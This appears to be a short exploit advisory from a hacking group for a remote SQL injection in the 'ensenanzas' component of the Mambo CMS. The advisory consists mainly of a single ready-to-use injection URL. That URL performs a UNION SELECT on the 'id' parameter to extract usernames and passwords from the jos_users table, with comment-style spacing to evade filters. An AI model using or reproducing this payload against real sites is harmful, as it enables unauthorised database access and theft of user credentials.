Mambo Components ensenanzas "id" Remote SQL Injection

Aria-Security Team (Persian Security Network)
http://Aria-Security.Net/

Shoutz: Aura, NULL, Kinglet, iM4N, Imm02tal
Mambo Components ensenanzas "id" Remote SQL Injection
Original Advisory: http://forum.aria-security.net/showthread.php?p=1731

index.php?option=com_ensenanzas&Itemid=71&id=99999//union//select//0,username,password,3,4,5,6,7,8//from/**/jos_users/*

Regards,
The-0utl4w